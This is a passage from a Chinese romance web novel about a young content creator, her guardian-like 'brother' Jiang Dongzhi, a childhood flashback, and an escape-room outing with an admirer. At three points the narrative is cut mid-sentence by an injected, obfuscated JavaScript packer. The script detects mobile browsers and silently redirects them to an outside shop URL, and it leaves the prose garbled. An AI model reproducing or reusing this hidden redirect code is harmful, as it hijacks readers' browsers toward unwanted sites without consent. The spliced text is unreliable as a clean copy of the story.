彼时程拾醒正在电脑上编辑着视频脚本,指尖将键盘敲击得啪啪响,闻言道:“谁?谈祝霄?” “啊对。”范茹画想起来了,“是叫这个名。” “没。” 店员将甜点与咖啡端过来,程拾醒正巧将脚本写完,发送给广告商后,合上电脑,同店员含笑道了声谢。 她瞥着程拾醒的动作,哀叹:“你说你跟我出来吃东西还得带个电脑,真累。” 程拾醒耸肩。 没办法,新合作的这家广告商要求多,第一版发过去对方说一切都好,临到要拍了,突然提出新的要求,眼下她只能加急修改。 好在对面大气,给她加了钱。 “我说真的。”范茹画跟她强调,“你别把自己累着了,又是工作又是学习又是搞项目搞比赛,本来你体质就不是很好,高中那会儿一感冒就是一整个冬天,你忘记了?” “那是以前。”她脊背放松地倚靠着椅子,抿了口咖啡,任由苦涩感充盈整个舌尖,“我已经很久没生病了。” 这得益于她常年以来的健康饮食和运动习惯……虽然作息显得有些颠倒,但是该睡的也不少。 “况且,有一句话叫作小病不断,大病不来。像我这种,就不容易生大病。” “科学依据在哪里?” “在我心里。” “……”范茹画摇着头,也不欲管她,“你身体什么样,自己心里清楚就好。” “知道了——”程拾醒拖长了尾音。 她不吃甜的,便将甜点盘子推过去,点开手机微信瞧了眼,她亲爱的甲方飞快地接收了文件并向她竖了个大拇指。 “明天陪我去趟莲常公园取材,相机我带着。”程拾醒边寻找表情包回复边说。 范茹画向她比了个OK的手势。 “话说,我陪你去取材,你陪我去玩密室呗。”她挖了口小蛋糕,递到程拾醒唇边,“啊——” 程拾醒拧眉,往后仰了点脑袋,“你是不是吃不完了?” “这家做得一般,奶油有点腻。”她压低了嗓音,抖着肩膀央道,“帮我一下,就一口,剩下的我自己解决。” 程拾醒无语,还是张口将那勺抿了下去,随后才问:“玩哪家?” “我微信发你。”范茹画在手机上点戳,没过几秒,程拾醒的手机便一声振动。 范茹画找的这家店离她家很近,走过去不过几分钟,评分4.9。主题中恐,有NPC,对新手友好,但要足足12人才能开场成功。两个人都不常玩密室,没有固定的队伍,全靠佛系拼团。 时间定在了周五的下午,四点半结束。范茹画本想着从密室出来,两个人正好可以去探店一家最近网上爆红的韩餐店,奈何程拾醒说以前在临霞市时的朋友来广吴有事,她哥、她和朋友约了周五晚饭,范茹画只好作罢。 临到周四上午,拼团还未成功。程拾醒趁着课前打开APP瞧了眼,已拼10人,还差两个人才能成功,便随手将拼团信息转发到了朋友圈。 铃声打响,她放下手机,没再关注了。 得知拼团成功时,她正在回家的路上。 眼下正值晚高峰,好在她是初始站。门前排队的人虽多,倒也能顺理成章地找个空椅坐下。紧接着,她发现自己被范茹画拉进了个群,群名称非常之直白——密室名加时间。群内有工作人员发了有关内容介绍。 程拾醒对于群内人都有些谁漠不关心,也没点开右上角的三点一探究竟,只点开内容介绍的大图大致浏览了一遍。 地铁急速在漆黑的轨道中穿梭,两侧窗外投着颜色各异的广告牌,抹过窗户倒映的车厢内明亮的灯光与逐渐拥挤起来的人群,又迅速朝后掠去。 身侧有人起身,又有人飞快落座,视野内忽而被递入一张名片,她抬起眼,身畔的中年女人微微一笑:“小姐,您好,我是星守娱乐的,我们公司近期有在挖掘有潜力出名的素人,不知您有没有兴趣加入我们?” “不好意思。”她摁灭了手机,将名片轻轻推开,温声,“我没有进入娱乐圈的想法。” 对方并不气馁,再接再厉:“不知道您有没有听说过闻知,他就是我们旗下的艺人,近期很红。您外形非常出色,如果您愿意来,我们有信心把您打造成……” 后面几个字被地铁到站时播报的女声吞没。 “我到站了。” 程拾醒并不为所动,颔首以示礼貌,直腿站起,方要离开,手中被塞了张名片。 对方急匆匆:“如果您想法改变了,可以联系上面的号码。” 出了地铁,程拾醒抬起那张名片,目光落在金灿灿的星守娱乐的logo,忽而轻笑了声。 这些年陆陆续续有不少人向她抛出橄榄枝,像这样直接将名片塞她手里的也有,网上发出邀约的也有。当然,比起娱乐圈,更多是许多达人公司通过平台联系她,提出签约。 所有邀请,她都没答应。 从事自媒体行业两年半,她也陆陆续续攒下了一点资金与人脉关系。比起签约寄于公司之下,她更倾向于自己成立公司。 身后,地铁重新启动,伴着与空气的摩擦声,跃入枫红的晚霞之中,被掀起的风刮过她散落在背的长发与翩然的裙摆。 她指尖一松,随手将名片丢进了一旁的垃圾桶里。 - 小区离地铁站不远,不过几百米。程拾醒用脖子上挂着的头戴式耳机盖住双耳,点开歌单,慢悠悠背着夕阳往家的方向走。 今天天气挺好,不冷不热,微风拂过时温温柔柔,这令她感到心情舒畅。耳机里的歌渐入尾声,音乐声慢慢轻下来,她正好也走进小区。 几秒停顿后,不甚熟悉的旋律在耳边流动开。她反应了几秒,才想起是Bosson的《WhatIfI》。 这首歌她只听过两遍,一遍是在酒吧里听的,一遍是在校园歌手比赛里听的。不知道什么时候,居然还加进了歌单里。 啧。 程拾醒低下头,戳开手机,按下切歌键。 再抬起头时,余光里注意到不远处单元楼下那扇铁绿色的大门门口,正站着那道她几乎每晚都能见到的身影。 蒋冬至对面还站着个人,女性,年纪与她相仿,挽着头发,不知在同他说些什么。 程拾醒歪了下头,下意识摘下耳机,停下了步子,隔着一段距离面色淡淡地瞧着。 音乐没暂停,耳机挂在脖子上,隐隐仍有旋律模糊地传入她的耳里。她的歌单一直设置的随机播放,眼下不知穿越去了她过去的哪段年月,播着《梅雨季》,唱着“我们都已长大了就再也回不去”。 大概是……高一?毕竟那个年纪的她格外喜欢听潘玮柏的歌。 不远处的他们似乎聊完了,女生转身往楼里走去,而蒋冬至的目光终于遥遥落过来。 程拾醒不声不响地与他于半空中轻轻一碰,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054682|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按了下耳机侧边的暂停按钮,音乐声终于停了。 她不紧不慢地走过去,听见蒋冬至问她:“刚才怎么在那里站着也不过来?” 程拾醒耸肩:“也许你需要一点私人空间。” 蒋冬至意识到她会错意了。 “那是新搬来的邻居,住我们楼下。”他向上提了提手里拎着的那包糖果,“乔迁糖,不过没你要的口味。” 她笑了下。 “我已经过了喜欢吃糖的时候了。”她往里走,先前那个女生已经上去了,电梯屏幕上楼层向上不断跳动着,她按下上升键。 耳侧他的嗓音淡淡:“是,以前吃药要靠哄,现在美式都能面不改色往下咽。” 程拾醒偏过头去看他:“你很怀念以前吗,哥哥?” 蒋冬至顿了下,指尖摩挲着那袋糖果,唇角垂下去,像一条平无波澜的直线,“只是突然想起来。” “……” 她的视线一低,落在他的手上,小动作一览无余。隔了两秒,她眨了下眼,也没吭声,慢吞吞收回了视线。 他在想什么,她知道。 电梯在下降,叮咚一声响,门缓缓在她面前开启。程拾醒一脚踏进去,像是踏进了尘封已久的过去。 踏进了儿时她刚搬到蒋冬至家隔壁的那天。 那日她兴奋难掩,新房子装修得漂亮,她还拥有了一个自己独立的卧室,虽然小,只有七平米,但胜在装修温馨,墙壁都是粉色的,飘窗上铺着毯子,毯子上摆满了各种娃娃,像个公主房。 “我今天会对所有人笑脸相迎。”程拾醒对父母说,“因为我美丽漂亮的卧室。” 因为这么一句话,给邻居送乔迁糖果的任务就落在了她的头上。 那会儿,绝大多数小区都还没装电梯,程拾醒新家所在的小区也一样,所以上下楼全靠双腿,她从顶楼开始挨家挨户敲门送乔迁糖果,送得气喘吁吁,精气神都耗完了。 敲到对门时,没人回应。 等到了晚上,她被父母催着,不情不愿地抱着糖果,又去敲了一次门。 这回门开了,少年身上还套着松松垮垮的短袖校服,高高瘦瘦一个,手撑着门,低凝她,面色淡淡。 “哥哥好,我是隔壁新搬来的,过来给你送乔迁糖果。”她把手里拎的糖果袋子递过去,听人低低道了声谢,又想到什么,“哦还有,我家过两天开乔迁宴,哥哥和叔叔阿姨要来吗?” 少年沉默了几秒,开口:“不来,有事。” 她惊讶:“我还没说几号几点呢!” “都有事。” “哥哥你的态度糟糟的。”程拾醒本来就累累的,眼下有点不太想和他说话了,探头去看他身后,“你家大人呢?我要和你家大人说话。” 他不动声色地歪了些身子,堵住她的视线,像是在防止她窥探他的生活,“我家没大人,只有我。” “你家怎么会没大人呢?” “不是每个家都有大人的。” “可是我家就有啊,两个呢!”她不信,“没有大人,那你吃什么穿什么?一个人的话,不会很孤单吗?” 她看见眼前人身形微滞,捏着门把手的手指下意识颤了下。 “不会,吃得好穿得好。”他很快回复,顿了下,漆黑的眼睛盯着她,补充,“我吃小孩。” “……” 当时她年幼,信以为真,吓呆了,惊悚地向后小碎步挪动两步,两秒后拔腿就跑,撕心裂肺地喊:“妈!隔壁有个汉尼拔——” 后来程拾醒才知道,蒋冬至是骗人的,比如其实他不吃小孩,比如其实他吃得不好穿得也一般。 但有一件事是真的,他的家里只有他自己。 回忆一碰就碎。 电梯在上升,程拾醒站在他身侧,忽而道:“有些东西不值得怎么回忆。” 比如我和你之间的过去。 8. 8 翌日下午,范茹画敲响程拾醒的家门时,程拾醒刚将剪辑完的视频上传账号,消息栏的未读红点按秒数增长。 家里的隔音效果不太好,隔着虚掩的房门,她隐约听见外头范茹画乖巧拘谨的声音:“哥哥好,我来找程拾醒玩。” 程拾醒靠着椅背刷着评论区。 【为什么不跟我吭一声就这样把视频发出来了?美鼠我了你负责吗?!】 【你好,结婚(嘴叼玫瑰)。】 【宝宝粉底液用的哪个牌子?】 【好美的脸,好牛的化妆技术!】 …… 范茹画推门而入,瞧见她时愣了一下:“你今天妆化那么豪华?” “刚在录妆教视频。” “这样。”范茹画恍然,“我还以为是你今晚要见的朋友比较重要。” 她歪头想了想,淡声:“没什么重不重要的,就是我哥大学时一起参加大创比赛的同学,他的朋友,我不算很熟,只是因为人家是女生……” 范茹画立即露出了八卦的眼神:“女生?” “……为了避嫌,所以把我叫上了。” “我还以为能吃到什么瓜呢。”范茹画失望,随即想到一个问题,“话说你哥当初为什么会来广吴啊?他当时在临霞不是待得挺好的吗?这边房价那么贵,你哥当时买下来也不容易。” 程拾醒顿了下,耸肩,“大城市环境好,机会多吧。” 语毕,她瞥了眼时间,收了手机,从旁边的衣架上把包取下,道,“时间正好,走吧。” 密室在她家对面那座商场的十楼。她们俩乘着电梯上去,推开贴着密室标识的玻璃门。店员听见声音,立即迎过来,程拾醒报了密室的名字,店员维持着微笑,朝左手边示意:“人还没来齐,您可以先到那边沙发上坐一会儿。” 程拾醒颔首,依言拉着范茹画的手在沙发上坐下。除了她俩外,另还坐着两个人,估摸着玩的是同一个场。 范茹画在她耳畔叽叽喳喳:“哎,工作人员昨天发在群里的内容介绍,你看了吗?” 程拾醒应了声。 “你说解密会不会很难啊?”范茹画道,“我怕进去了啥也想不出来,显得我像个傻子。” “不会。”程拾醒安慰,“介绍里写着新手友好。” “希望真的对我友好点,我有点笨。” 程拾醒正欲要说些什么,忽听工作人员喊说人都到齐了现在排队发眼罩准备进密室,便住了嘴,拉拉边上人的衣袖,起了身,绕开沙发往外走。 余光处掠过一双熟悉的长腿,男人身形颀长,灰色t恤衫松垮,垂在两侧的手放松地微蜷着,指节清晰。 随着他越过那扇玻璃门,彻底迈入她的视线中。 身侧被她牵着的范茹画突然挠了挠她的掌心,低声惊呼:“你快看靠门口那位置,谈祝霄怎么也在这?” 程拾醒抬起眼。 两束视线在半空中轻轻一撞,他们四目相对。 谈祝霄先走过来,低声:“好巧。” 好巧? 她下意识碰了碰裤子口袋里的手机,上一次摁灭手机时屏幕还停留在微信朋友圈页面。 于是,她眉梢微不可见地一扬,弯起唇角:“是啊,好巧。” 寒暄只有这一句,说完后程拾醒便接过工作人员递来的眼罩,戴上后按照指示搭住前面一人的肩膀,她感受到同样有双手放在了她的肩头,轻得仿佛只是在她肩上覆了层纱 ——她身后站着的是谈祝霄。 陷入漆黑后,整个世界好像就只剩下了触感与听觉。 跟着拐了几个弯,耳边工作人员喊:“现在请大家摘下眼罩,游戏正式开始!” 程拾醒小心翼翼地摘下眼罩,还给工作人员,观察了下周围的环境。 是一条长长的医院走廊,两侧分布着几扇门,门口的灯牌上亮着深绿色的幽光,标注着“停尸间”三个字,犹如复制粘贴般,每一扇都一模一样,不同的只有门上标着的数字,暗红色的,歪七扭八的,像血液凝固后的痕迹。 范茹画从摘下眼罩开始就一直黏在她手臂上,环得死死的。 她觉得有点好笑,偏头问:“害怕?” 范茹画:“有点。” “怕你还玩中恐?” “因为我勇于挑战。”她为自己竖起大拇指。 程拾醒由她抱着,不知是不是为了营造气氛,里头空调打得足,还有点冷。她数了下人数,眼下一共十二个人,六男六女,看着年龄都不大,应该都是大学生。她又数了下门的数量,一共十三扇,倒正好是拼场最高人数。 “我天,搞那么多停尸间。”有个男生嘀咕着,先打开其中一扇门,一愣,里头是一堵砖红色的墙,中间空出了一个小方格,里头搁着一张边缘不规则的牛皮纸碎片,右上角标着数字7,被长方形框了起来,但和门上的数字并不相对应。他仔细看了看牛皮纸上的图案,“这上面画的什么?感觉像拼图。” 他这么一说,众人纷纷开门。 程拾醒开了一扇,拿到了编号为1的牛皮纸,刚想去开第二扇,当手指触碰到门把手的那一刻,口袋里的联络机突然发出了警报。 她皱皱眉,手脱离门把手时联络机突然安静了,她从口袋里拿出来左右看了看,没什么问题,便要继续开门,联络机第二次发出了警报。 范茹画疑惑:“你的联络机是不是坏了?” 程拾醒眉心微蹙,垂首思索,目光落在掌心那只联络机上,食指指腹有意无意轻敲着仍振动着的联络机侧面。 下一秒,一只骨节分明的手伸入视野范围,她抬起眼,谈祝霄此时正站在她的面前,警报声依旧刺耳,他的声音缓缓滑入耳畔:“要不然,你用我的吧。” 她的视线定在他身上,而后在不停歇的警报中微微一笑,退开一步,手从门上放下,耳边瞬间陷入一片寂静。 “不用,我的没坏。”程拾醒扬了扬手中的联络机,“是一个人只能开一扇门。” 他的手顿在半空中,隔了几秒钟才怔怔然放下。 程拾醒扭头,抖了下被范茹画抱着的手臂,“你得自己开门了。” “啊?哦。”范茹画反应过来,松开程拾醒。此时周围没有npc,没有突然冲出来的骷髅头,只有吵吵嚷嚷的十二个人,还有十三间停尸间,她也放松了些,去开了门,拿到了自己的牛皮纸——十。 十二个人的牛皮纸一拼,是个钟,时针指向数字十,只是还差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054683|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个编号四,并不完整,因此无法判断分针的方向。 “每个人只能开一扇门,那第四扇门要怎么开?”说话的是原先拿到编号一的男生。 程拾醒开了口:“不用找纸条四,分针指向十一。” 编号一问:“你怎么知道?” “你们没看工作人员前面发在群里的故事介绍吗?”新手级别的密室不会太难,线索都挺明显的,她说,“停尸间发生了一场火灾,警报响起时间是10:11,也就是说,这里停留在了10:11这个时间点。” “那这个线索要怎么用?” 程拾醒盯着牛皮纸上的编号,食指从时针指向的10开始滑动,直至触碰到这张牛皮纸右上角框出数字三的黑色边框。 “这框得像个门。”范茹画顺着她的指尖望过去,“你看,边上这一点像不像门把手?” 她突然想到什么:“进来前,工作人员是不是给了我们一个手电筒?” 7号举起手:“这呢!” 程拾醒伸手接过。 三号牛皮纸揭示时针所指的方向,四号牛皮纸揭示分针所指方向。 她当即按亮了手电筒,在三、四号门中扫过,原本苍白光滑的墙壁中间忽而凸起一块砖,谈祝霄快走两步,将那块砖拉开,喊:“要填四位数密码。” “不会是1011吧?”范茹画嘀咕。 谈祝霄哒哒哒按下,毫无动静。 和密码有关系的总共就那么几个数字,3,4,10,11,要将这四个数字组合在一起,唯有将1011转化成十进制。 10:11,10在前,11在后。 程拾醒:“你试试3411。” 谈祝霄输入,“轰隆”一声,一号门与十三号门旁的“停尸间”灯光大亮,同时十三号门内的墙壁向左缩进,露出第二间密室。而门口…… 范茹画方要入内,待看清门口站着个什么玩意后,尖叫一声,扒住程拾醒不敢松手了。 十三号门前,人形怪物带着张笑脸面具,扭曲着四肢,阻挡在通往第二间密室的通道中间。尖锐到分不清男女的诡异嗓音从面具底下的扩声器中传出,回荡在整间屋子:“我找你很久了……1号,你该来这里,你跟他们不一样……殊途同归……” 范茹画瑟瑟发抖:“什么意思啊?” 程拾醒指间夹着牛皮纸,翻了个面,上面赤裸裸标着数字1。 “我的单线任务。”她道。 “程拾醒。”谈祝霄低声喊她的名字,“你要是害怕的话,我们可以交换牛皮纸。” 她扬眉,没说话,掌心一合,将牛皮纸收入口袋,拂开了范茹画的手。 谈祝霄就这样目送着她迈着闲散的步子,一步步靠近十三号门那个人形怪物,身姿挺拔,纤细又有力。最后,在门前止步,转过身。 背后是可怖的鬼怪,是漆黑的未知,程拾醒站在那儿,穿着最简单不过的黄色格子衬衣,敞开着露出里头柔软的白色背心,唇上抹的颜色像玫瑰,瞳孔似缀光的墨翠,忽而弯了唇,粲然一笑,头顶的灯光在她眼底摇曳,明艳生动。 “害怕?”她歪头,惊讶,“我怎么会害怕呢?” 这个世界上没有能令她害怕的事。 9. 9 密室整体难度都偏低,程拾醒做完单线任务后与大部队成功会和,在最后一个房间稍微花了些时间,最终顺利解开了谜题,比预计要早了一刻钟出来。 外头灯光明亮,程拾醒是最后一个出来的,在昏暗的环境下待久了,触碰到透过玻璃窗洒进来的明媚阳光,难免有些不太适应,下意识眯了眯眼。 工作人员早就等在门口了,见他们出来,笑着祝贺:“恭喜各位通关,需要复盘吗?” 在得到大多数人肯定的回答后,工作人员解释道:“其实你们也应该能猜得大差不差。我们的主人公是一位精神病患者,并且是遗传性的精神病。小时候,他的父亲在一次与母亲争吵后发了病,抱着同归于尽的念头,在家里点了火,拉着妈妈和儿子不让出去。后来儿子被抢救过来,听见医生宣布父母的死亡时间为十点十一分,自此以后这个时间点就在他心里留下了不可磨灭的印象。他认为其实他也已经死了,死在了十点十一分这个时间点。后来,他制造了十二次火灾,目的都是完成他心中在这个特殊时间点死亡的结果,但是他很命大,前十一次都被人救下来了,只有在第十三次才真正死亡。所以,13个数字分别对应了13场灾难,同时1是很特别的一个数字,因为只有第一场灾难是发生在他的小时候……” 范茹画越听越觉得程拾醒牛:“真跟你猜到的一模一样,你脑子怎么长的?那么聪明!” 程拾醒道:“毕竟近朱者赤。” 她想了想,也对:“你哥也聪明。” “……我刚才确实不该夸你的。” “夸我?”范茹画点点自己,脸色一下子明媚了起来,“你是在夸我聪明啊?” “不然呢?”她觉得好笑,“要我夸你勇敢吗?” 范茹画真诚:“你要是夸得出口,我自然也听得下去。” 程拾醒:“……” 复盘结束后,工作人员又给他们播了几段有人提出来比较感兴趣的密室里内监控录像,随后端着二维码竖在他们面前,礼貌请求:“这里有个问卷想麻烦大家做一下,待会儿做完后咱们会发小礼品。” 程拾醒从保险柜里取出小包与手机,方一点亮,就瞧见蒋冬至发来的消息。 刺猬:【结束了给我发个消息。】 她随手扣了个1,扫了二维码,填完问卷,摁下提交。 礼物是个不锈钢材质的钥匙扣挂坠,挂坠上的火柴人叉着腰,嘴角下撇,摆着副孤傲不屑的表情,她挂在指尖瞧了瞧,莫名觉得有点像蒋冬至。 这一念头从脑中刚冒出来,她便哑然失笑,觉得自己有点莫名其妙,掌心一合,将挂坠放入包中。 原先那个编号五结束了问卷,忽而瞥见有只英短蓝猫蹲在台旁的椅子上,眼睛都亮了,无比惊喜:“你们这里还养猫了啊。” 说着,便要伸手去摸,工作人员忙提醒:“小心,它脾气不……” 话还未说完,猫凶巴巴“喵”了声,高竖起炸毛的尾巴,一下从椅子上蹦下来,横眉竖眼,像个煤气罐罐,以迅雷不及掩耳之势朝地上呈抛物线砸下来。 程拾醒离得近,险些被扑到,灵敏地往左侧一闪身才免于此难,却蓦地察觉到指尖一点疼痛,“嘶”了声。 抬指一瞧,不知方才是剐蹭到哪了,食指背赤然一道鲜红的口子,好在红归红,没怎么出血,顶多沁了两滴血珠。 范茹画被猫那一蹦吓了一跳,忙偏头去看程拾醒:“你没事吧……哎哟,怎么还划到了?” 工作人员见状,立马跑过去把猫抱起来,连声道歉:“抱歉抱歉,棉棉有点怕生,别人摸它它会不高兴。” 编号五也被吓了一跳,这才缓过神,尴尬地摸摸头:“哦哦这样。” 划伤的口子不大,程拾醒并未多在意,随手将那两滴血珠抹开,跟范茹画摇了摇头示意自己没事。 掌心手机振动,蒋冬至言简意赅发了两个字。 刺猬:【到了。】 她扫过这条消息,侧了头方要同范茹画说该走了,余光里,一片创可贴被人捏在指腹间被递在她眼前,她顺着主人的手臂往上望,谈祝霄这次什么也没说,情绪看上去似乎有些沮丧,只抿着唇,手中的创可贴又往前递了递。 程拾醒没动作,只抬着眼睛这么看他,看他随着眨眼抖动的睫毛、灯光落在他脸上的影子,还有不自然微抿的唇瓣,半晌,她睫毛一垂,视线重新落在那片创可下面贴上,眉梢挑起,意味不明。 “谢谢。”她终于接过。 谈祝霄收了手,摇摇头:“不客气。” 程拾醒拆了创可贴的包装,对准伤口,随意在手指上裹了圈,余光留意着他垂下手臂后蜷起的手指。 她心情好了些,偏头同范茹画愉快道:“走吧。” 范茹画的眼睛一直在两个人身上提溜转,闻言“哎”了声,笑得贼眉鼠眼,挽上她的手臂:“好咧。” 时间已不早了,范茹画打算在商场里把晚饭解决了,便不跟着一起乘电梯了,在密室门口同程拾醒挥手道了再见。 电梯门口已有不少人正等着,三三两两围着扇紧闭的门,低着头玩手机。 明黄色灯光笼罩圆形走廊,廊外侧壁画精美,外头的余晖映在商场顶部半球状透明玻璃上,一抬头便能瞧见。 程拾醒没有管同样等在门前的谈祝霄,只仰着头,看透明的观光电梯载着拥挤的人群缓缓下行。 耳畔,他忽而问:“你晚饭打算在外面解决吗?” 她应声:“嗯,和我哥。” 他张嘴要吐出的话被这么一句掐死在舌尖,呐呐:“……你还有个哥哥啊。” “嗯。” “那……他待会儿是过来接你吗?” “对。”她还是简简单单一个字,不冷不淡,又好像在斟酌着点什么,眼睛望着电梯玻璃门上模糊的倒映,旁边那人手臂绷直地垂着,掌心摩擦着硬直牛仔裤的面料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054684|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低垂着头,瞧着脚尖。 他看上去好像很是失落,还有点掩盖不住的懊恼。 在懊恼些什么? 是不知道该聊些什么了吗? 打算退缩吗? 她饶有兴趣地瞧着对方无措的模样。 电梯到了,程拾醒收回视线,顺着人流踏入其中。 人潮涌入后,电梯像密不透风的实心厚墙,他们被迫肩贴肩,挤在电梯门前。外头见实在挤不下了,才没再往前,止在了门前,目送着电梯缓缓关上门。 好在随着楼层的降低,里头人越来越少,稀薄的空气逐渐顺畅起来。直至下降到一楼,二人才出了电梯。 她感觉到身侧人好似呼了口气,微耸的肩膀落下了。 这离商场门口还有一段距离,谈祝霄终于再次寻了个话题:“你和范茹画是住这附近吗?” “不是。”她不紧不慢地撒谎,“是这家密室评分比较高,才选了这里。” “这样。”他点点头,“这里离学校倒是还挺近的。” “是啊。”她看上去好像很可惜,叹口气,“早知道就先查好路线,从学校出发了。” “你喜欢玩密室吗?”谈祝霄问,“刚看你解密好好,像老手。” “谢谢,是挺喜欢的,只是拼团总是很难成功,所以没玩过几次,算新手。” 他像是终于找到了机会,挺直了脊背,脱口而出:“那你下次可以叫上我。” 程拾醒停下了步子,转过身,站定在他面前。门口的风灌入,拨乱她垂覆在后背的长发,吹起她单薄的衬衣衣角,而她眉眼含笑,望着他,问:“你是喜欢玩密室,还是只要是我叫上你的,你都会来?” 猝不及防的一个问题,直白又暧昧。 他被一下问懵了,耳根发红,犹疑着怕自己会错意了:“什……么?” 她眼中满是盎然的趣味,故意:“比如,剧本杀,k歌……这些我都挺喜欢的,你呢?” 他听着她说话,睫毛颤了颤,缓缓低落下来,没再敢看她了,声音低低的:“我也挺喜欢的。” “那我们的兴趣爱好还挺一致的。”程拾醒啊了声,尾音拖长了,将他今天送她第一句再次奉还,“确实很巧。” “那,那,下次你打算,叫上我吗?” 当然可以。 程拾醒张口刚要这么作答,倏地一声车喇叭长鸣炸开,打断她的话语。紧接着,耳里落入轻轻一声“砰”,是车门闭合的声音。 她下意识扭头朝声音处望去。 下午的阳光太烈,将那道正迈着大步靠近的人影笼得朦胧,光晕之下,描摹男人颀长的身形轮廓,宽肩窄腰,气质矜贵从容。 她眯着眼,视线顺着那双被西裤包裹的长腿向上,划过衬衣领中拢着的锁骨,最终落在那张熟悉到不得了的脸上。 “程拾醒。” 她听见蒋冬至喊她的名字,平无波澜的一声。 10. 10 或许是因为刚下班,他依旧西装革履,不似在家中那般穿着随意,只是领口的扣子解开一颗,领子向两边撇开,两段锁骨藏在阴影处若隐若现。 他靠近了,眼睛瞥过她对面站着的那个男生,将对方怔愣无措的姿态尽收眼底,不过一眼便掠过,问她:“怎么不接电话?” “电话?”她摁亮手机,微信消息框亮着小红点,显示着一分钟前的未接来电,“静音了,没看见。” “在外面玩完了?”他脸上没什么表情,嗓音也淡,垂着眼看她时余光倏地碰到她手指上缠着的那抹棕色,一顿,“手怎么了?” 闻言,程拾醒低下头,瞧了眼,答:“不小心擦到了。” “消毒没?” “用不着,只是擦了下。”难得她今天心情不错,又回答了他的第一个问题,“是结束了。” 蒋冬至低睨着她手上的创可贴,片刻后移开视线,道:“那就该走了。” 谈祝霄听着两个人说话,闻言忙道:“那下次见。” “下次见。”她同人道完别,才跟着蒋冬至上了车。 车门被“砰”一声合上,程拾醒打开手机相机,检查了下妆容——今天用的粉底是品牌方送来的试用,如果持久度不错,她打算接下这家的广。 蒋冬至拧动车钥匙,发动了车子,听见身侧她问:“是去老地方吗?” 老地方是指附近的一家连锁烤肉店,在临霞时二人就常去这家连锁店吃烤肉。闹得再凶再狠,蒋冬至说他买单,她就气呼呼地跟着去了,两个人头对头闷声开吃,能一个字都不跟对方说。 蒋冬至应声,转动方向盘。 车子倒出,他扫过后视镜,有道身影依旧站在商场门口,目送着他们所在的方向。 他踩下油门,那道身影终于越来越远,直至拐弯后,彻底消失在后视镜中,蒋冬至终于不动声色收回眼。 程拾醒检查完妆容,很满意,无暗沉无卡粉无斑驳,算了下时间,一共持妆六个小时,这个广能接。 于是,她打开手机,准备给品牌方答复,正巧撞上范茹画给她发消息。 女娲神作:【怎么个事啊?不是说没兴趣没联系了吗?】 Puhpowee:【如你所见。】 女娲神作:【他对你有意思。】 Puhpowee:【我知道,所以我才感兴趣。】 女娲神作:【?啥意思?】 Puhpowee:【我喜欢耍点心机,但不多的人。】 范茹画没再回复,估计是专心干饭去了。 程拾醒手肘搭在车窗旁,手指托着下巴。食指上缠绕的那片创可贴,粗粝的,抵在下巴边缘。 她盯着微信页面,大拇指指腹有意无意摩擦胶布,若有所思,隔了会儿,放下手,指尖往下划,不知划了多久,终于翻到沉到最底下的谈祝霄。 她给他发消息。 Puhpowee:【谢谢你的创可贴。】 对面几乎是秒回。 谈祝霄:【不客气。】 谈祝霄:【对了,一直想问,你的微信名是什么意思?这个单词似乎不是英文,搜不到含义。】 程拾醒瞧着他发来的消息,若有似无弯了下唇角。 Puhpowee:【让蘑菇一夜之间破土而出的力量。】 Puhpowee:【是一支北美印第安部落的语言。】 “到了。”耳畔,蒋冬至出了声,车安稳停下,紧接着是安全带解开的“啪嗒”声。程拾醒摁灭了手机,扭头往窗外一看,烤肉店的门匾在落日下金灿灿。 她哦了下,跟着下了车。 蒋冬至那位大学同学名叫陈琪梦,这次来广吴主要是去大学做讲座,二人到时,陈琪梦刚刚在烤肉店坐下,穿了件最简单不过的白衬衣牛仔裤,长发在脑后低低绑起个马尾,鼻梁上架着细框眼镜,瞥见他们,挥了挥手。 “琪梦姐。”程拾醒在她对面落座,乖巧地喊了声。 “好久不见。”陈琪梦应了声,双眼弯弯,夸赞她,“妹妹真是越来越漂亮了。” 炭火和菜都上得快,烤盘之上,热气松散,鲜肉片卷曲,泛着油光滋滋作响。店内生意很好,正值晚餐时间,眼下几乎满座,轻快的音乐背景音被嘈杂的聊天声淹没。 “李钟辉都要结婚了,弟弟妹妹也都长大了,你说时间过得也真快。”陈琪梦有一搭聊着天,用夹子将烤盘上的肉翻了个面,见熟得差不多了,夹了片羊肉到程拾醒盘子里,“妹妹吃。” 程拾醒不动声色蹙了下眉。 “看到李夏前两天发的朋友圈了。”蒋冬至随意应了声,低眼瞥过她,十分自然地将她盘子里的羊肉片夹走了。 陈琪梦愣了下:“哎?” 蒋冬至道:“她不吃羊肉。” 